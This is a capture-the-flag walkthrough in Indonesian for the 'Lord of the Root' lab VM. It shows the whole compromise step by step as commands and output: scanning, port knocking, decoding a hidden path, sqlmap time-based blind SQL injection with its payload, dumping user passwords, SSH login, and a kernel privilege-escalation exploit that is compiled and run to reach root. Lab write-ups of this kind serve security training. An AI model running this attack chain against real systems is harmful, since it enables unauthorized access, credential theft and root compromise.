CTF Lord of the root: Walkthrough
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Download dari https://download.vulnhub.com/lordoftheroot/LordOfTheRoot_1.0.1.ova Install di VirtualBox
netdiscover
Lakukan,
netdiscover -r 192.168.0.0/24
Hasilnya,
Currently scanning: 192.168.0.0/24 | Screen View: Unique Hosts
21 Captured ARP Req/Rep packets, from 21 hosts. Total size: 1260
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
.....
192.168.0.139 08:00:27:45:35:64 1 60 PCS Systemtechnik GmbH
.....
port scan
Lakukan,
nmap -sT -p- -A 192.168.0.139
Hasil,
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-28 02:13 EST Nmap scan report for 192.168.0.139 Host is up (0.00089s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 3c3de38e35f9da7420efaa494a1deddd (DSA) | 2048 85946c87c9a8350f2cdbbbc13f2a50c1 (RSA) | 256 f3cdaa1d05f21e8c618725b6f4344537 (ECDSA) |_ 256 34ec16dda7cf2a8645ec65ea05438921 (ED25519) MAC Address: 08:00:27:45:35:64 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.89 ms 192.168.0.139 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 112.51 seconds
tampaknya hanya SSH yang terlihat.
coba ssh
Lakukan,
ssh 192.168.0.139
Hasil,
The authenticity of host '192.168.0.139 (192.168.0.139)' can't be established.
ED25519 key fingerprint is SHA256:Rz24fg01xp2jMdwk9c44ijnZAz1uaUlvRXX7QU+ERtI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.139' (ED25519) to the list of known hosts.
.____ _____________________________
| | \_____ \__ ___/\______ \
| | / | \| | | _/
| |___/ | \ | | | \
|_______ \_______ /____| |____|_ /
\/ \/ \/
____ __. __ ___________ .__ .___ ___________ ___________ __
| |/ _| ____ ____ ____ | | __ \_ _____/______|__| ____ ____ __| _/ \__ ___/___ \_ _____/ _____/ |_ ___________
| < / \ / _ \_/ ___\| |/ / | __) \_ __ \ |/ __ \ / \ / __ | | | / _ \ | __)_ / \ __\/ __ \_ __ \
| | \| | ( <_> ) \___| < | \ | | \/ \ ___/| | \/ /_/ | | |( <_> ) | \ | \ | \ ___/| | \/
|____|__ \___| /\____/ \___ >__|_ \ \___ / |__| |__|\___ >___| /\____ | |____| \____/ /_______ /___| /__| \___ >__|
\/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
Easy as 1,2,3
root@192.168.0.139's password:
Ada kata-2 "Easy as 1,2,3"
Hmm kita coba knock port 1, 2, 3 ...
port knocking
Lakukan,
nmap -Pn --host-timeout 201 --max-retries 0 -p 1 192.168.0.139 nmap -Pn --host-timeout 201 --max-retries 0 -p 2 192.168.0.139 nmap -Pn --host-timeout 201 --max-retries 0 -p 3 192.168.0.139
Naga-naganya port knocking untuk membuka / menghidupkan web :) ..
lakukan nmap lagi
Lakukan
nmap -sT -p- -A 192.168.0.139
Hasilnya,
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-28 02:22 EST Nmap scan report for 192.168.0.139 Host is up (0.00063s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 3c3de38e35f9da7420efaa494a1deddd (DSA) | 2048 85946c87c9a8350f2cdbbbc13f2a50c1 (RSA) | 256 f3cdaa1d05f21e8c618725b6f4344537 (ECDSA) |_ 256 34ec16dda7cf2a8645ec65ea05438921 (ED25519) 1337/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.7 (Ubuntu) MAC Address: 08:00:27:45:35:64 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.63 ms 192.168.0.139 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 122.69 seconds
Terlihat Ada web Server Apache 2.4.7 di port 1337
Akses Web
URL,
http://192.168.0.139:1337 (ada gambar dengan kata2 "I will do it, I will take the ring into mordor" )
Source (CRTL-U)
<html> <img src="/images/iwilldoit.jpg" align="middle"> </html>
coba
http://192.168.0.139:1337/mordor/
Source (CRTL-U)
<html> <img src="/images/hipster.jpg" align="middle"> <!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh> </html>
Ada !--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh .... di catat.
Coba Nikto
Lakukan,
nikto -h 192.168.0.139:1337
Hasil,
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.0.139 + Target Hostname: 192.168.0.139 + Target Port: 1337 + Start Time: 2023-01-28 02:34:02 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.4.7 (Ubuntu) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + IP address found in the 'location' header. The IP is "127.0.1.1". + OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1". + Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3268: /images/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 7917 requests: 0 error(s) and 9 item(s) reported on remote host + End Time: 2023-01-28 02:34:55 (GMT-5) (53 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Tidak ada yang terlalu menarik
coba dirb
Lakukan,
# dirb http://192.168.0.139:1337/
Hasil,
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sat Jan 28 02:41:49 2023 URL_BASE: http://192.168.0.139:1337/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.0.139:1337/ ---- ==> DIRECTORY: http://192.168.0.139:1337/images/ + http://192.168.0.139:1337/index.html (CODE:200|SIZE:64) + http://192.168.0.139:1337/server-status (CODE:403|SIZE:295) ---- Entering directory: http://192.168.0.139:1337/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sat Jan 28 02:41:55 2023 DOWNLOADED: 4612 - FOUND: 2
Tidak ada yang terlalu menarik
coba decode base 64
Lakukan,
echo "THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh~" | base64 -d
Hasilnya,
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!base64: invalid input
Coba lagi,
echo "Lzk3ODM0NTIxMC9pbmRleC5waHA=" | base64 -d
Hasil,
/978345210/index.php
Sepertinya ini URL :) ..
Akses web /978345210/index.php
Browse ke
http://192.168.0.139:1337/978345210/index.php
Terlihat di layar,
Welcome to the Gates of Mordor User : Password : [Login]
Ini tampaknya sulit untuk di bypass :( .. Perlu di coba SQL injection
Burp
- Di CLI Jalankan
burpsuite
- Klik "I Accept"
- Klik "Temporary Project" > Next
- Klik "Use Burp defaults" > Start Burp
- Select "Proxy" > "Intercept" > Klik "Intercept is Off" supaya jadi "Intercept is on"
Pada Browser
- Klik Setting > Network Settings > Settings > Manual Proxy Configuration > HTTP Proxy isi dengan 127.0.0.1 port 8080
Browse ke
http://192.168.0.139:1337/978345210/index.php username admin password admin
Hasil tangkapan brupsuite kira-kira sebagai berikut,
POST /978345210/index.php HTTP/1.1 Host: 192.168.0.139:1337 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.139:1337/978345210/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 44 Origin: http://192.168.0.139:1337 Connection: close Cookie: PHPSESSID=9lhs598hql78hpclnss6h346q6 Upgrade-Insecure-Requests: 1 username=admin&password=admin&submit=+Login+
Buat file request.txt isinya tulisan di atas hasil burp.
SQL Injection
Buat text request.txt
vi request.txt
Isi dengan hasil burp di atas. Kemudian lakukan,
sqlmap -r /home/kali/request.txt --risk=3 --level=5
Hasilnya,
.....
sqlmap identified the following injection point(s) with a total of 4654 HTTP(s) requests:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 4131 FROM (SELECT(SLEEP(5)))rPXk)-- dvNV&password=admin&submit= Login
Tampaknya kita perlu menggunakan time-based blind. Lakukan,
sqlmap -r /home/kali/request.txt --dbms=MYSQL --risk=3 --level=5 –current-db
Hasilnya,
current database: 'Webapp' [04:21:28] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.139' [*] ending @ 04:21:28 /2023-01-28/
Ternyata database yang digunakan bernama Webapp Enumerate tabel, lakukan,
sqlmap -r /home/kali/request.txt --dbms=MYSQL --risk=3 --level=5 -D Webapp --tables
Hasilnya,
Database: Webapp [1 table] +-------+ | Users | +-------+ [04:39:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.139' [*] ending @ 04:39:32 /2023-01-28/
Enumerate kolom dari tabel Users, lakukan,
sqlmap -r /home/kali/request.txt --dbms=MYSQL --risk=3 --level=5 -D Webapp -T Users –columns
Bagian ini lumayan lama sekali menunggu-nya, hasilnya,
Database: Webapp Table: Users [3 columns] +----------+--------------+ | Column | Type | +----------+--------------+ | id | int(10) | | password | varchar(255) | | username | varchar(255) | +----------+--------------+ [05:36:34] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.139' [*] ending @ 05:36:34 /2023-01-28/
Dump password, lakukan,
sqlmap -r /home/kali/request.txt --dbms=MYSQL --risk=3 --level=5 -D Webapp -T Users --dump
Bagian ini jauh lebih lama lagi, butuh waktu berjam-jam, hasilnya,
Database: Webapp Table: Users [5 entries] +----+------------------+----------+ | id | password | username | +----+------------------+----------+ | 1 | iwilltakethering | frodo | | 2 | MyPreciousR00t | smeagol | | 3 | AndMySword | aragorn | | 4 | AndMyBow | legolas | | 5 | AndMyAxe | gimli | +----+------------------+----------+ [17:16:16] [INFO] table 'Webapp.Users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.0.139/dump/Webapp/Users.csv' [17:16:16] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.139'
[*] ending @ 17:16:16 /2023-01-28/
Akhirnya password bisa jebol :) ...
ssh
Lakukan,
ssh smeagol@192.168.0.139
password adalah MyPreciousR00t
Hasilnya,
.____ _____________________________
| | \_____ \__ ___/\______ \
| | / | \| | | _/
| |___/ | \ | | | \
|_______ \_______ /____| |____|_ /
\/ \/ \/
____ __. __ ___________ .__ .___ ___________ ___________ __
| |/ _| ____ ____ ____ | | __ \_ _____/______|__| ____ ____ __| _/ \__ ___/___ \_ _____/ _____/ |_ ___________
| < / \ / _ \_/ ___\| |/ / | __) \_ __ \ |/ __ \ / \ / __ | | | / _ \ | __)_ / \ __\/ __ \_ __ \
| | \| | ( <_> ) \___| < | \ | | \/ \ ___/| | \/ /_/ | | |( <_> ) | \ | \ | \ ___/| | \/
|____|__ \___| /\____/ \___ >__|_ \ \___ / |__| |__|\___ >___| /\____ | |____| \____/ /_______ /___| /__| \___ >__|
\/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
Easy as 1,2,3
smeagol@192.168.0.139's password:
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic i686)
* Documentation: https://help.ubuntu.com/
.____ _____________________________
| | \_____ \__ ___/\______ \
| | / | \| | | _/
| |___/ | \ | | | \
|_______ \_______ /____| |____|_ /
\/ \/ \/
__ __ .__ ___________ .__ .___
/ \ / \ ____ | | ____ ____ _____ ____ \_ _____/______|__| ____ ____ __| _/
\ \/\/ // __ \| | _/ ___\/ _ \ / \_/ __ \ | __) \_ __ \ |/ __ \ / \ / __ |
\ /\ ___/| |_\ \__( <_> ) Y Y \ ___/ | \ | | \/ \ ___/| | \/ /_/ |
\__/\ / \___ >____/\___ >____/|__|_| /\___ > \___ / |__| |__|\___ >___| /\____ |
\/ \/ \/ \/ \/ \/ \/ \/ \/
Last login: Tue Sep 22 12:59:38 2015 from 192.168.55.135
smeagol@LordOfTheRoot:~$
Privilege Escalation
Karena target menggunakan ubuntu 14.04, kita mencoba overlayfs untuk priviledge escalation. Di Kali Linux lakukan,
updatedb locate 39166.c
Hasilnya,
/usr/share/exploitdb/exploits/linux/local/39166.c
Transfer 39166.c ke target username smeagol password MyPreciousR00t
scp /usr/share/exploitdb/exploits/linux/local/39166.c smeagol@192.168.0.139: smeagol@192.168.0.139's password: 39166.c 249.5KB/s 00:00
Di target, lakukan,
smeagol@LordOfTheRoot:~$ chmod 777 39166.c smeagol@LordOfTheRoot:~$ gcc -o 39166.o 39166.c smeagol@LordOfTheRoot:~$ ./39166.o root@LordOfTheRoot:~#
Nah kita berubah menjadi root sekarang :) .. Lakukan,
root@LordOfTheRoot:~# id uid=0(root) gid=1000(smeagol) groups=0(root),1000(smeagol) root@LordOfTheRoot:~# cd /root/ root@LordOfTheRoot:/root# ls buf buf.c Flag.txt other other.c switcher.py root@LordOfTheRoot:/root# cat Flag.txt “There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.” – Gandalf root@LordOfTheRoot:/root#
Flag-nya adalah
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.” – Gandalf
Recap
Halaman splash SSH memberikan petunjuk port knocking; menggunakan port knocking untuk membuka port baru (1337). Kita menjelajahi port itu, memeriksa source code untuk menemukan double Base64 encoded directory. Di direktori itu ada halaman otentikasi formulir. Menggunakan Burp Suite Pro untuk menemukan kemungkinan kerentanan SQLi. Mengonfirmasi kerentanan dalam SQLMap dan membuang kredensial aplikasi web (validasi input pengguna yang tidak tepat). Menggunakan salah satu kredensial untuk masuk sebagai pengguna di SSH (penggunaan ulang kata sandi). Menggunakan eksploitasi kernel lokal untuk escalate privileges ke root (unpatched server).